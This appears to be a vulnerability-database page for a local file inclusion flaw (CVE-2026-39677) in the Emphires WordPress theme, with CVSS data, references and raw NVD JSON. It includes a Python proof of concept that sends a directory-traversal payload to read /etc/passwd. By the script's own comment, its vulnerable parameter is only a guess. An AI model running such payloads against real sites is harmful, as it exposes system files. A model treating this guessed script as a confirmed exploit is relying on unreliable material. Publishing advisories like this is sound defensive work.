CVE-2026-39677

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Creatives_Planet Emphires emphires allows PHP Local File Inclusion.This issue affects Emphires: from n/a through <= 3.9.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Emphires <= 3.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-39677 PoC Example
# Target: Creatives_Planet Emphires WordPress Theme <= 3.9
# Vulnerability Type: Local File Inclusion (LFI)

target_url = "http://example.com/wp-content/themes/emphires/"
# Common vulnerable parameter in themes, adjust based on actual analysis
vulnerable_param = "?path="
# Payload to read /etc/passwd using directory traversal
payload = "../../../../../../etc/passwd"

full_url = f"{target_url}{vulnerable_param}{payload}"

try:
    response = requests.get(full_url, timeout=10)
    if response.status_code == 200 and "root:" in response.text:
        print("[+] Vulnerability Confirmed! /etc/passwd leaked.")
        print("[+] Response snippet:")
        print(response.text[:200])
    else:
        print("[-] Target does not appear vulnerable or payload failed.")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39677
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39677
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39677/
[4] VulDB https://vuldb.com/cve/CVE-2026-39677
[5] https://patchstack.com/database/Wordpress/Theme/emphires/vulnerability/wordpress-emphires-theme-3-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39677", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.360", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Creatives_Planet Emphires emphires allows PHP Local File Inclusion.This issue affects Emphires: from n/a through <= 3.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/emphires/vulnerability/wordpress-emphires-theme-3-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}